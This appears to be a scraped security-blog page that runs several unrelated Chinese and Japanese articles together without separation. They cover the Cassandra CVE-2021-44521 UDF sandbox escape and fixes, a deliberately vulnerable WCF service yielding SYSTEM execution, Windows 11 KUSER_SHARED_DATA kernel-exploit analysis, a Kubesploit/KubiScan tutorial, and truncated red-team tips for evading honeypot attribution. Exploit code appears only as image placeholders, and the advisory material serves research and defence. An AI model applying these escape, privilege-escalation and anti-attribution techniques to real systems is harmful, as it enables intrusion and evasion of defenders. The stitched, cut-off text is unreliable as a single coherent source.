Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115547

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

微信截图_20220216154403.png

近日JFrog的安全研究團隊披露了Apache Cassandra中的一個RCE(遠程代碼執行)漏洞,該漏洞被分配給了CVE-2021-44521 (CVSS 8.4)。這個Apache安全漏洞很容易被利用,並且有可能對系統造成嚴重破壞,但幸運的是,它只體現在Cassandra 的非默認配置中。

Cassandra 是一個高度可擴展的分佈式NoSQL 數據庫,由於其分佈式特性的優勢,它非常受歡迎。 Cassandra 被Netflix、Twitter、Urban Airship、Constant Contact、Reddit、Cisco、OpenX、Digg、CloudKick、Ooyala 等企業使用。 Cassandra 在DevOps 和雲原生開髮圈中也非常受歡迎,這從它對CNCF 項目(例如Jaeger)的支持可以看出。

一些公司甚至提供基於Cassandra 的基於雲的一站式解決方案,例如DataStax(一種無服務器、多雲DBaaS)。

在這篇文章中,我們將介紹研究人員是如何發現RCE 安全漏洞的背景,提供有關PoC 漏洞利用的詳細信息,並分享建議的修復和緩解選項。

UDF 和NashornCassandra 提供了創建用戶定義函數(UDF) 以執行數據庫中數據的自定義處理的功能。

Cassandra UDF 默認可以用Java 和JavaScript 編寫。在JavaScript 中,它使用Java 運行時環境(JRE) 中的Nashorn 引擎,這是一個運行在Java 虛擬機(JVM) 之上的JavaScript 引擎。

在接受不受信任的代碼時,不保證Nashorn 是安全的。因此,任何允許此類行為的服務都必須始終將Nashorn 執行包含在沙箱中。

例如,運行以下Nashorn JavaScript 代碼允許執行任意shell 命令-

1.png

Cassandra 的開發團隊決定圍繞UDF 執行實現一個自定義沙箱,該沙箱使用兩種機制來限制UDF 代碼:

1.使用白名單和黑名單的過濾機制(只允許匹配白名單和不匹配黑名單的類):

2.png

2.使用Java 安全管理器來強制執行代碼的權限(在默認配置中,不授予權限)

如NashornEscape項目實施沙箱來保護Nashorn 代碼執行。

通過Nashorn 訪問Java 類Nashorn 引擎通過使用Java.type 提供對任意Java 類的訪問。

例如: var System=Java.type('java.lang.System') 將允許我們使用System 變量訪問java.lang.System 數據包。

具有足夠權限的用戶可以使用create函數查詢創建任意函數。例如,此函數會將其輸入打印到控制台:

3.png

用戶可以使用以下SELECT 查詢調用該函數。

4.png

CVE-2021-44521什麼時候會被利用當我們研究Cassandra UDF 沙箱實現時,我們意識到特定(非默認)配置選項的混合可以讓我們濫用Nashorn 引擎、逃離沙箱並實現遠程代碼執行,這就是CVE-2021-44521 的漏洞。

當cassandra.yaml 配置文件包含以下定義時,Cassandra 部署容易受到CVE-2021-44521 的攻擊:

5.png

請注意,這些是唯一需要的非默認配置選項,因為啟用UDF 時,所有用戶都可以創建和執行任意UDF,這包括默認啟用的匿名登錄(authenticator=AllowAllAuthenticator)。

請注意,Cassandra 也可以通過Config.java 配置文件進行配置,該文件支持與上述相同的標誌。

6.png

前兩個標誌啟用對Java 和JavaScript的UDF 支持。

enable_user_defined_functions_threads 是利用CVE-2021-44521 的關鍵。

Cassandra 還支持在UDF 中使用的其他腳本語言,例如Python。

JFrog 產品是否容易受到CVE-2021-44521 的攻擊?

JFrog 產品不受CVE-2021-44521 攻擊,因為它們不使用Apache Cassandra。

解釋enable_user_defined_functions_threads

源代碼(Config.java)如下:

7.png

enable_user_defined_functions_threads 默認設置為true,這意味著每個調用的UDF 函數都將在不同的線程中運行,並且具有沒有任何權限的安全管理器,我們將在後面的部分中介紹針對此默認配置的DoS 攻擊。

當該選項設置為false 時,所有調用的UDF 函數都在Cassandra 守護程序線程中運行,該線程具有具有某些權限的安全管理器。我們將展示如何濫用這些權限來實現沙箱逃逸和RCE。

請注意,源代碼中的文檔暗示關閉該值是不安全的,但由於拒絕服務漏洞。我們將演示關閉此值直接導致遠程代碼執行。

RCE通過沙箱逃逸UDF 沙箱不會直接允許我們在服務器上執行代碼,例如通過調用java.lang.Runtime.getRuntime().exec()。

在研究沙箱實現時,我們發現我們可以使用至少兩種方式逃離沙箱:

濫用Nashorn 引擎實例;

java.lang.System 的load 和loadLibrary 函數;

由於Cassandra 的類過濾機制允許訪問java.lang.System,所以這兩種方法都可以用來逃避沙箱。

第一種方法:濫用Nashorn 引擎實例為了完全逃離沙箱,我們必須:

1.禁用類過濾機制;

2.在沒有安全管理器的情況下運行;

當enable_user_defined_functions_threads 設置為false 時,我們的UDF 代碼運行在daemon 線程中,該線程具體有調用setSecurityManager 的權限!這立即允許我們關閉安全管理器,所以現在我們只需要繞過類過濾機制。

在Nashorn 上運行JavaScript 代碼時,我們可以使用this.engine 來訪問Nashorn 實例引擎。正如Beware the Nashorn 博客中所述,這實際上允許我們通過創建一個不受類過濾機制限制的新腳本引擎來繞過任何類過濾器。

但是,較新的Java 版本(8u191 及更高版本)已收到緩解措施,可在安全管理器處於活動狀態時阻止訪問this.engine。

我們可以調用setSecurityManager 來禁用安全管理器,然後訪問this.engine。

PoC 查詢結果如下所示:

8.png

此查詢將關閉安全管理器,將其設置為空,然後創建一個不受類過濾機制限制的新腳本引擎,在Cassandra服務器上運行任意shell命令。

執行PoC 是為了在Cassandra 服務器上創建一個名為“hacked”的新文件:

9.png

第二種方法:java.lang.System的load和loadLibrary函數除了Nashorn 轉義技術之外,還有更多的庫函數未被類過濾器過濾,並且在安全管理器關閉時可能被濫用於代碼執行。

例如,java.lang.System 的load 方法允許我們通過指定絕對路徑來加載任意共享對象。

假設攻擊者可以以某種方式將惡意共享對象文件上傳到易受攻擊的系統(只要攻擊者知道上傳文件的完整路徑,受害者設備上的上傳目錄是什麼並不重要),可以使用加載方法加載庫,它可以運行任意代碼作為其入口例程的一部分。

其他值得注意的漏洞當我們在一些非默認配置(儘管合理)上運行Cassandra和相關工具)時,我們發現並披露了一些值得一提的漏洞。這些選項被記錄為不安全,但我們想強這些漏洞及其確切影響,以便供應商不要在可公開訪問的網絡中部署此類配置。

Cassandra UDF 拒絕服務當啟用UDF函數並將enable_user_defined_functions_threads標誌設置為true(默認值)時,惡意用戶可以創建一個將關閉Cassandra守護進程的UDF,這是由UDF超時機制的行為引起的,該機制由user_defined_function_fail_timeout標誌控制。

如果UDF 函數運行超過分配的時間,則整個Cassandra 守護程序將被閉(不僅僅是運行UDF 的線程)。儘管這是記錄在案的行為,但攻擊者可以通過創建一個使用while(true) 永遠循環的函數來輕鬆地對整個數據庫進行DoS。

目前還沒有什麼直接方法緩解此漏洞(將user_function_timeout_policy 標誌從die 更改為ignore 可能會導致更嚴重的DoS),儘管可以通過確保低權限用戶無法創建任意UDF 來間接緩解該漏洞。

通過不安全對象反序列化的StressD RCECassandra 包含一個名為cassandra-stressd 的工具,用於對數據庫進行壓力測試。該工具已被Apache 記錄為“不安全”工具;

這是一個面向網絡的工具,默認情況下只監聽localhost 接口;

但是,這個工具可以通過提供-h標誌和IP地址來監聽任何接口;

來自套接字的輸入直接由StressServer.java 反序列化,這意味著攻擊者可能會提供一個序列化的“gadget”對象,導致反序列化時執行任意代碼:

10.png

這個漏洞的利用取決於正在運行的Cassandra 實例的類路徑中的可用類。

我們敦促用戶確保他們沒有運行帶有指向外部接口的-h 標誌的cassandra-stressd 工具。

如何修復CVE-2021-44521?我們強烈建議所有Apache Cassandra 用戶升級到以下版本,它可以緩解CVE-2021-44521:

3.0.x 用戶應升級到3.0.26

3.11.x 用戶應升級到3.11.12

4.0.x 用戶應升級到4.0.2

Apache 的修復添加了一個新標誌——allow_extra_insecure_udfs(默認為false),它不允許關閉安全管理器並阻止對java.lang.System 的訪問。

如果用戶希望他們的udf與沙箱外的元素交互(並且不介意潛在的安全風險),可以打開該標誌來恢復原來的行為(不推薦!)。

如何緩解CVE-2021-44521?對於無法升級Cassandra實例的用戶,我們建議採取以下緩解措施:

如果UDF沒有被積極使用,可以通過將enable_user_defined_functions設置為false(這是默認值)來完全禁用它們;

如果需要UDF,請將enable_user_defined_functions_threads 設置為true(這是默認值);

通過刪除以下權限來刪除為不受信任的用戶創建、更改和執行函數的權限:ALL FUNCTIONS、ALL FUNCTIONS IN KEYSPACE 和FUNCTION 用於CREATE、ALTER 和EXECUTE 查詢。

這可以使用以下查詢來完成,方法是將role_name替換為所需的角色。

11.png

總結最後,我們強烈建議將Cassandra 升級到最新版本,以避免CVE-2021-44521威脅。

0x00 前言本文將要介紹在禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例。

0x01 簡介本文將要介紹以下內容:

禁用MEX實現WCF

文章完整代碼示例

0x02 禁用MEX實現WCF禁用MEX時,需要根據服務端的代碼手動編寫客戶端代碼

本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

image.png

(6)編譯運行

命令行輸出地址:net.tcp://localhost/vulnservice/runme

(7)測試

此時無法使用WcfTestClient進行測試

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

0x03 文章完整代碼示例代碼示例:

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

相關介紹:

https://versprite.com/blog/security-research/abusing-insecure-wcf-endpoints/

代碼示例實現了WCF的服務端,但是缺少安裝部分和客戶端的編寫,這裡給出完整示例

1.服務端編寫(1)下載代碼

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulService1

(4)啟動服務

編譯生成VulnWCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為VulnWCFClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

(3)編譯運行

編譯生成VulnWCFClient,運行後彈出System權限的計算器,測試成功

0x04 小結本文介紹了禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例,便於WCF相關知識的研究。

簡介不久前,我看到了一條有趣的推文,其中談到了Windows 11的內部預覽版本中KUSER_SHARED_DATA即將發生的一些變化。

1.png

這引起了我的極大興趣,因為KUSER_SHARED_DATA是一個位於靜態虛擬內存空間的結構體,在傳統的Windows內核中,它位於0xfffff78000000000處。從漏洞利用的角度來看,由於其靜態特性,攻擊者經常通過它來攻擊系統內核,特別是在遠程入侵內核的時候。雖然KUSER_SHARED_DATA結構體既沒有包含指向ntoskrnl.exe的指針,也不可執行,但有一段內存與KUSER_SHARED_DATA結構體位於同一內存頁內,並且該頁中沒有包含任何數據,因此,它可用作具有靜態地址的代碼洞。

撰寫本文時,在最新版本的windows 11 內部預覽版中,KUSER_SHARED_DATA結構體的長度為0x738字節。

1.png

在Windows上,一個給定的內存“頁面”的長度通常為0x1000字節,即4KB。由於KUSER_SHARED_DATA結構體的長度為0x738字節,所以,內存頁中仍有0x8C8字節的內存空間可供攻擊者濫用。因此,這些未使用的字節仍然具有與KUSER_SHARED_DATA結構體其他部分相同的內存權限,即RW,或讀/寫權限。這意味著: “KUSER_SHARED_DATA代碼洞”不僅是一個可讀可寫的代碼洞,而且,還具有靜態地址。實際上,Morten Schenk在BlackHat 2017的演講中早就講過這種技術,我之前也寫過一篇文章,就濫用這種結構體來執行代碼的漏洞進行了簡單介紹。

如果這個代碼洞得到了適當的處理,攻擊者就需要在內存中找到另一個位置來存放其shellcode。另外,具有讀/寫原語的攻擊者可以破壞對應於KUSER_SHARED_DATA的頁表項(PTE),從而使內存頁變為可寫的。然而,為了實現這一點,攻擊者需要繞過kASLR並將一個原語寫入內存——這意味著:攻擊者基本上已經完全控制了系統。緩解這一代碼漏洞的方法,就是迫使攻擊者首先得繞過kASLR,然後,才能將惡意代碼寫入內存,從而提高漏洞利用的門檻。如果攻擊者無法直接寫入靜態地址,則需要定位其他內存區域。因此,我們可以將其歸類為一種更小、更專用的緩解措施。無論如何,我仍然覺得這是一個有趣的研究課題。

最後,在開始之前,本文探討的內容都是在ntoskrnl.exe的上下文中進行的;當啟用基於虛擬化的安全特性(VBS)時,這些內容並不適用於VTL1級別安全內核。正如Saar Amar所指出的,這種結構體的地址,在VTL1中實際上是隨機化的。

0xfffff78000000000現在變為只讀的了對於KUSER_SHARED_DATA可能的變化,我的第一個想法是內存地址最終(不知何故)將被完全隨機化。為了驗證這一點,我將KUSER_SHARED_DATA結構體的靜態地址傳遞給了WinDbg中的dt命令,令我驚訝的是,該結構體在解析後仍然位於0xfffff78000000000處。

1.png

我的下一個想法是,嘗試以0x800為偏移量,對KUSER_SHARED_DATA結構體進行寫入操作,以查看是否發生任何意外行為。執行該操作後,通過檢查PTE,我們發現KUSER_SHARED_DATA現在變成只讀的了。

下面提供的地址0xfffffe7bc0000000是與虛擬地址0xfffff78000000000或KUSER_SHARED_DATA結構體關聯的PTE的虛擬地址。在您的系統上,可以使用Windbg的!pte0xfffff78000000000命令來查找該地址。為了提高可讀性,這裡省略了這些命令,不過,我們將告訴讀者哪些地址對應於哪些結構體,以及如何在自己的系統上面查找這些地址。

1.png

後來,有次跟同事Yarden Shafir聊天,他告訴我KUSER_SHARED_DATA中有一些東西(例如SystemTime成員)會不斷更新,同時,他還鼓勵我繼續深挖,因為很明顯,KUSER_SHARED_DATA結構體肯定是通過只讀PTE進行寫入/更新的。正如我後來發現的那樣,這也是有意義的,因為與KUSER_SHARED_DATA對應的PTE的Dirty位被設置為0,這意味著該內存頁還沒有被寫入。那麼,這到底是怎麼發生的呢?

帶著這些信息,我開始借助IDA尋找任何有趣的東西。

nt!MmWriteableUserSharedData來救場了!在IDA中搜索了0xFFFF78000000000或“usershared”之類的關鍵詞後,我偶然發現了一個我以前從未見過的符號——nt!mmwriteableusershareddata。在IDA中,這個符號似乎被定義為0xFFFF78000000000。

1.png

然而,在查看實時內核調試會話時,我注意到地址似乎有所不同。不僅如此,在重啟之後,這個地址也發生了變化!

1.png

我們還可以看到,0xFFFF78000000000靜態地址和新符號都指向相同的內存內容。

1.png

然而,是否存在這種情況:兩個單獨的內存頁面指向兩個單獨的結構體,並且其中包含相同的內容?或者它們是以某種方式交織在一起的?在查看了這兩個PTE之後,我確認了這兩個虛擬地址雖然不同,但都使用了相同的頁幀號(PFN)。此外,我們可以通過以下命令找到“靜態”KUSER_SHARED_DATA結構體和新符號nt!MmWriteableSharedUserData的PTE:

!pte0xfffff78000000000

!pte poi(nt!MmWriteableSharedUserData)

如上所述,與“靜態”KUSER_SHARED_DATA結構體相對應的PTE的地址是0xfffffe7bc000000。而地址0xffffcc340c47010正好是與nt!MmWriteableSharedUserData的PTE相對應的虛擬地址。

1.png

PFN乘以頁的大小(在Windows上通常為0x1000)將得到相應虛擬地址的物理地址(就PTE而言,它用於獲取4KB對齊頁的“最終”分頁結構)。由於這兩個虛擬地址都包含相同的PFN,這意味著當將PFN轉換為物理地址(本例中為0xfc1000)時,兩個虛擬地址將映射到相同的物理頁面! 我們可以通過查看映射到每個虛擬地址的物理地址的內容以及虛擬地址本身來確認這一點。

1.png

我們這裡有兩個虛擬地址,並且具有不同的內存權限(一個是只讀的,另一個是讀/寫的),它們由一個物理頁面提供支持。換句話說,有兩個虛擬地址具有相同物理內存的不同視圖。這怎麼可能?

內存段圍繞KUSER_SHARED_DATA實現的變動,這裡的“要點”是內存段的概念。這意味著一段內存實際上可以由兩個進程共享(內核也是如此,就像我們的例子一樣)。其工作方式是,相同的物理內存可以映射到一系列虛擬地址。

在本例中,KUSER_SHARED_DATA與nt!MmWriteableUserSharedData(一個虛擬地址)的新隨機讀/寫視圖,由與“靜態”KUSER_SHARED_DATA(另一個虛擬地址)共享同一段物理內存。這意味著,現在這個結構體具有兩個“視圖”,具體如下所示:

1.png

這意味著:只要更新其中一個虛擬地址(例如nt!MmWriteableSharedUserData)的內容,將同時更新另一個虛擬地址(0xfffff78000000000)的內容。這是因為對其中一個虛擬地址處內容的改變將更新物理內存的內容。由於這段物理內存的內容供兩個虛擬地址共享,所以,兩個虛擬地址的內容都將收到更新。這為Windows提供了一種方法:在保持舊的KUSER_SHARED_DATA地址的同時,也允許一個新的映射視圖是隨機的,以“緩解”傳統上在KUSER_SHARED_DATA結構體中發現的靜態讀寫代碼洞。0xfffff78000000000的“舊”地址現在可以被標記為只讀,因為這個內存有一個新的視圖可以用來代替它,這個視圖是隨機的!接下來,我們開始介紹更複雜、更低層次的實現細節。

nt!MiProtectSharedUserPage在繼續分析之前,請允許我介紹兩個術語。當我提到內存地址0xFFFF78000000000(KUSER_SHARED_DATA的靜態映射)時,我將使用術語“static”KUSER_SHARED_DATA。當我提及新的“隨機化映射”時,我將使用符號名nt!MmWriteableSharedUserData。這樣的話,每次都能指出我所談論的'版本'。

在WinDbg中進行了一些動態分析後,我終於搞明白了KUSER_SHARED_DATA的更新到底是如何實現的。為此,我首先在正在加載的ntoskrnl.exe上設置一個斷點。在現有的內核調試會話中,可以使用以下命令來實現這一點:

sxe ld nt

.reboot

在斷點被命中後,我們實際上可以看到新發現的符號nt!MmWriteableUserSharedData指向了“靜態”的KUSER_SHARED_DATA地址。

1.png

這顯然表明,這個符號在加載過程中會進一步更新。

在通過IDA逆向分析的過程中,我注意到在函數nt!MiProtectSharedUserPage中,對nt!MmWriteableSharedUserData有一個交叉引用,這引起了我們的極大興趣。

1.png

當執行仍然處於暫停狀態時,由於ntoskrnl.exe觸發了斷點,我趁機在上述函數nt!MiProtectSharedUserPage上設置了另一個斷點,並發現,在到達新的斷點後,nt!MmWriteableSharedUserData符號仍然指向舊的0xfff78000000000地址。

1.png

更有趣的是,“靜態的”KUSER_SHARED_DATA'在加載過程中的這一時刻仍然是靜態的,可讀的,可寫的! 下面的PTE地址0xffffb7fbc0000000是與虛擬地址0xfff78000000000相關的PTE的虛擬地址。由於我們重新啟動系統,導致ntoskrnl.exe的加載中斷,PTE地址也發生了變化。如前所述,這個地址可以通過命令!pte0xfffff78000000000找到,並且不同的系統,這個地址可能會有所差異:

1.png

因為我們知道0xfffff78000000000,這個“靜態”的KUSER_SHARED_DATA結構體的地址,在某一時刻會變成只讀的,這說明這個函數可能負責改變這個地址的權限,並且動態地填充nt!MmWriteableSharedUserData,特別是基於命名約定。

深入研究nt!MiProtectSharedUserPage的反彙編代碼,我們可以看到nt!MmWriteableSharedUserData這個符號在這個指令執行時被更新為RDI的值。但是這個值是從哪裡來的呢?

1.png

讓我們來看看這個函數的開頭部分。首先引起我們注意的就是內核模式地址和對nt!MI_READ_PTE_LOCK_FREE和nt!Feature_KernelSharedUserDataAaslr__private_IsEnabled的調用(這對我們的目的來說,興趣不大)。

1.png

上圖中內核模式地址0xfffffb7000000000,在WinDbg的反彙編窗口中用紅框標出,實際上是頁表項的基址(例如PTE數組的地址)。第二個值,即常量0x7bc00000000,是用來索引這個PTE數組的值,以獲取與“靜態”的KUSER_SHARED_DATA相關的PTE。這個值(PTE數組的索引)可以通過以下公式得到:

1、將目標虛擬地址(本例中為0xfff78000000000)轉換成虛擬頁號(VPN),方法是用地址除以一個頁面的大小(本例中為0x1000)。

2、將VPN乘以一個PTE的大小(64位系統=8字節)

我們可以用上述公式來處理虛擬地址0xfffff78000000000,得到的值就是PTE數組相應的索引,從而獲得與“靜態”的KUSER_SHARED_DATA結構體相關的PTE。這可以在上面的WinDbg的命令窗口中看到。

這意味著與“靜態”的KUSER_SHARED_DATA結構體相關的PTE將被傳入nt!MI_READ_PTE_LOCK_FREE。上述PTE的地址為0xffffb7fbc0000000。

簡單來說,nt!MI_READ_PTE_LOCK_FREE將解除對PTE內容的引用,並將其返回,同時,還會對作用域內的頁表項進行檢查,看看它們是否位於PML4E數組的已知地址空間內,其中包含用於PML4分頁結構的PML4頁表條目數組。回顧一下,PML4結構是基本分頁結構。所以,換句話說,這確保了所提供的頁表項駐留在分頁結構的某個地方。這可以在下面看到。

1.png

然而,稍有細微差別的是,該函數實際上是在檢查頁表項是否位於“用戶模式分頁結構”中,該結構又稱為“影子空間”。回想一下,在KVA Shadow的實現(即Microsoft的內核頁表隔離(KPTI)實現)中,現在有兩套分頁結構:一套用於內核模式執行,另一套用於用戶模式。這種緩解措施被用於防禦Meltdown漏洞。但是,這個檢查很容易被“繞過”,因為PTE顯然被映射到了內核模式的地址,所以,肯定不是通過“用戶模式分頁結構”來表示的。

如果PTE不在“影子空間”中,則nt!MI_READ_PTE_LOCK_FREE將返回PTE解引用的內容(例如,PTE的各個“比特”)。如果PTE確實位於“影子空間”中,在返回內容之前,還將對PTE進行一些檢查,以確定KVAS是否被啟用。從漏洞利用的角度來看,這對我們關注的整體變化不是太重要,但它仍然是整個“過程”的一部分。

此外,對我們來說nt!Feature_KernelSharedUserDataAslr__private_IsEnabled並不是很有用——利用它,我們只能通過命名規則了解是否走在正確的道路上。這個函數似乎主要是為了收集關於這個功能的指標和遙測數據。

1.png

在第一次調用nt!MI_READ_PTE_LOCK_FREE後,“靜態”的KUSER_SHARED_DATA結構體的PTE的內容將被複製到一個堆棧地址:RSP,其偏移量為0x20。類似的,這個堆棧地址也用於對另一個函數(即nt!MI_READ_PTE_LOCK_FREE)的調用。再說一次,這對我們來說並不是特別重要,但它卻是這個過程的一部分。

1.png

然而,更有趣的是,nt!MI_READ_PTE_LOCK_FREE解除了對PTE內容的引用,並通過RAX返回它們。由於定義內存的屬性/權限的“靜態”的KUSER_SHARED_DATA結構體的PTE“比特”位於RAX中,所以,需要對其進行相應的位運算,以便從“靜態”的KUSER_SHARED_DATA的PTE中提取頁幀號(PFN)。這個值在PTE中的偏移量是0xf52e,其值是0x800

000000000f52e863。

1.png

1.png

這個PFN將在以後調用nt!MiMakeValidPte時用到。現在,讓我們繼續前進。

現在,我們可以將注意力轉向對nt!MiMakeValidPte的調用。

1.png

請允許我簡單介紹一下PFN記錄:PFN的“值”在技術上只是一個抽象的值,當它乘以0x1000(一個頁面的大小),就會得到一個物理內存地址。在內存分頁過程中,它通常是下一個分頁結構的地址,或者,如果被用於“最後一個”分頁表,即PT(page table)時,可以用來計算最後一個4KB對齊的物理內存頁。

除此之外,PFN記錄還被存儲在一個虛擬地址數組中。這個數組被稱為PFN數據庫。這樣做的原因是,內存管理器可以通過線性(虛擬)地址訪問頁表項,這就提高了性能,因為MMU不需要不斷遍歷所有的分頁結構來獲取PFN、頁表項等。實際上,這就為記錄的引用提供了一種簡單的方法,即通過一個索引訪問數組。這適用於所有的“數組”,包括PTE數組。同時,像nt!MiGetPteAddress這樣的函數,也能夠通過索引訪問相應的頁表數組,比如PTE數組(對應於nt!MiGetPteAddress),PDE數組(PDPT條目,通過nt!MiGetPdeAddress進行訪問),等等。

小結在本文中,我們為讀者詳細介紹了在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。由於篇幅較長,我們分為上下兩篇進行發布。更多精彩內容,敬請期待!

(未完待續!)

conjur-kubiscan-768x431.jpg

本文講的是如何使用Kubesploit 和KubiScan 提高雲本地安全性。

主流科技企業廣泛使用Kubernetes,它是一個可擴展、輕量級的開源容器編排平台。這個受歡迎的平台擁有不斷擴展的安全工具、支持和服務生態系統,使其成為管理容器分配和服務的首選平台。

但Kubernetes 容器還是存在多種安全風險,包括運行時威脅、漏洞、暴露和失敗的合規性審計。

這些不安全感促使CyberArk 開發了兩個開源工具:Kubesploit 和KubiScan。這些工具通過在模擬真實攻擊的同時執行深度安全操作,使Kubernetes 社區受益。它們使我們能夠測試我們的安全能力。我們無需等待攻擊發生,而是可以主動準備並體驗現實世界的漏洞利用將如何影響我們的系統,然後採取行動防止這些攻擊。

在深入研究這些工具的工作原理並查看一些示例之前,讓我們簡要探討每種解決方案如何幫助提高安全性並了解如何設置它們。

KubesploitKubesploit是一個功能強大的跨平台後滲透漏洞利用HTTP/2命令控制服務器和代理工具,該工具基於Golang開發,基於Merlin項目實現其功能,主要針對的是容器化環境的安全問題。

雖然有一些工具可以幫助緩解Kubernetes 安全問題,但大多數工具實際上並沒有執行全面掃描。看到這個差距,CyberArk 創建了Kubesploit。開發人員在Golang(Go 編程語言)中為容器化環境實施多平台工具Kubesploit。

Kubesploit 通過在集群上執行複雜的攻擊向量覆蓋來工作,這種模擬有助於我們了解我們對網絡中類似攻擊的彈性。

它的各種模塊檢查不同的漏洞。然後,它利用易受攻擊的kubelet 並掃描從Kubernetes 服務到Kubernetes 集群的端口。 Github 存儲庫包含有關Kubesploit 入門的詳細信息。

設置Kubesploit讓我們探索如何掃描Kubernetes 集群以查找已知的常見漏洞和暴露(CVE)。我們將使用K8sClusterSCVEScan 來執行此操作。首先,讓我們將代理加載到第一個終端的根目錄中。然後,在第二個終端中,我們使用./server命令啟動服務器。

接下來,我們運行use module linux/來加載我們想要使用的任何模塊。例如,clusterCVEScan 模塊利用runC 逃逸到主機。要使用該模塊,我們需要設置Kubernetes 集群地址,並運行集群以查看該集群的各種漏洞。

在每個CVE 的描述屬性中,我們可以閱讀有關掃描發現的集群風險的詳細消息。

如何使用Kubesploit讓我們回顧一下如何使用Kubesploit 檢測漏洞的示例。在我們開始之前,請確保你的系統運行與go.mod 文件(Go 1.14)中相同的Go 版本。其他版本可能會給你一個構建約束錯誤。

首先,我們加載代理url 地址。在本例中,你將使用Kubesploit 環境正在偵聽的URL,例如:

image.png

然後,我們使用命令./server 運行我們的Kubesploit 服務器。我們通過對Kubesploit 服務器環境執行代理列表來檢查代理連接是否已啟用。

要掃描URL 中的多個地址,我們使用PortScan 模塊,如下所示:

1.png

現在,讓我們通過允許創建豁免容器來最小化我們的容器漏洞。我們使用ContainerBreakoutMounting 模塊:

2.png

如果操作完成,我們會收到一條消息說我們成功了。

開始使用KubiScan除了Kubesploit, CyberArk還創建了KubiScan。 Kubiscan 是另一個開源工具,可幫助集群管理員診斷可能危及集群的權限洩露。它在Kubernetes 的基於角色的訪問控制(RBAC) 授權模型中掃描Kubernetes 集群以查找有風險的權限。

KubiScan 發現易受攻擊的角色和角色綁定,並識別它們的集群、pod 和主題。這些信息使管理人員能夠在廣泛的環境中檢測被破壞的許可,攻擊者可能會迅速破壞這些許可。

設置KubiScan現在我們對KubiScan 有了更多的了解,我們將在我們的主節點上進行設置。我們使用命令kubectl get pods 來查找可用的pod。然後,我們使用kubiscan -rp 搜索具有易受攻擊帳戶的pod。

獲得特權賬戶後,我們需要確認它是否出現在風險主題列表中。我們通過運行命令kubiscan -rs 來做到這一點。

然後,我們需要找出該主題有多少規則使其能夠洩漏秘密。為此,我們運行命令:

image.png

為了獲取特定集群的令牌,我們使用

image.png

列出其角色綁定。系統管理員可以使用該令牌檢查集群是否可以在默認命名空間中列出機密。當我們執行該命令時,它會顯示帶有各種屬性的JSON 格式的輸出,以顯示漏洞可能在哪裡。

如何使用KubiScan讓我們研究一個使用KubiScan來發現用戶環境中的漏洞的實際示例。首先,我們在環境中使用kubectl get pods 檢查我們的pod 的狀態。我們應該會看到與下麵類似的輸出,具體取決於我們擁有的pod 數量:

3.png

我們使用命令kubiscan -rp 來獲取易受攻擊的主題:

4.png

然後,使用kubiscan -rs來驗證該賬戶是否存在於風險對象列表中:

5.png

為了搜索特定服務帳戶中的所有規則,我們使用kubiscan-aars “risky-sa” -ns “default” -k “ServiceAccount”。

我們還可以使用-aarbs “risky-sa” -ns “default” -k “ServiceAccount”列出服務帳戶角色綁定。

由於Kubernetes 集群是分佈式和動態的,因此它們容易受到攻擊並且難以保護。為了保護我們的Kubernetes 環境,DevSecOps 需要在整個應用程序生命週期中使用各種安全工具和技術,從構建到部署和運行時。

因為我們需要意識到我們的容器安全性,CyberArk 的網絡安全團隊一直在研究新的工具來填補Kubernetes 的安全漏洞。 Kubesploit 和KubiScan 等解決方案可幫助Kubernetes 社區識別和遏制阻礙我們運行的各種漏洞。

為了保證Kubernetes 的安全,開發人員需要一個能夠牢固地保護和驗證容器並管理秘密的平台。我們需要確保我們只允許訪問特定的應用程序、工具和信息。

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

